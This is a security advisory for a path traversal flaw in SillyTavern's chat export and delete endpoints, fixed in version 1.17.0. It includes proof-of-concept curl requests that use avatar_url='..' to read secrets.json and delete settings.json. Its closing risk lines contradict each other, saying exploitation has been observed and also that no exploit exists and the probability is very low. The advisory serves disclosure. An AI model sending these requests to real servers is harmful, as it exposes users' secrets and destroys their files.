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GHSA-vprr-q85p-79mf
No affected components available
Summary
A Path Traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example secrets.json and settings.json) by supplying avatar_url="..".
Details
The input validator used by avatar_url blocks only / and NUL bytes, but does not block traversal segments like ...
Evidence:
- Weak validator regex (does not reject
..):
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/middleware/validateFileName.js#L24-L27 - Vulnerable delete path construction:
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L575-L577 - Vulnerable export path construction:
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L595-L598 - Endpoint auth context (authenticated user access):
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239
Because avatar_url=".." is accepted, path.join(<user>/chats, "..") resolves to <user>/, enabling direct access to files outside the chats directory.
PoC
Prerequisites:
- Valid authenticated session cookie (
cookie.txt) - Valid CSRF token (
$TOKEN)
Read sensitive file (secrets.json):
curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \
-d '{"avatar_url":"..","is_group":false,"file":"secrets.json","format":"jsonl","exportfilename":"x"}' \
http://TARGET:8000/api/chats/export
Delete sensitive file (settings.json):
curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \
-d '{"avatar_url":"..","chatfile":"settings.json"}' \
http://TARGET:8000/api/chats/delete
Impact
- Confidentiality: exposed per-user secrets and config data.
- Integrity/Availability: attacker can delete critical per-user files and break account operation.
- Risk is significant in multi-user or remotely reachable deployments.
Resolution
The issue was addressed in version 1.17.0
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a low impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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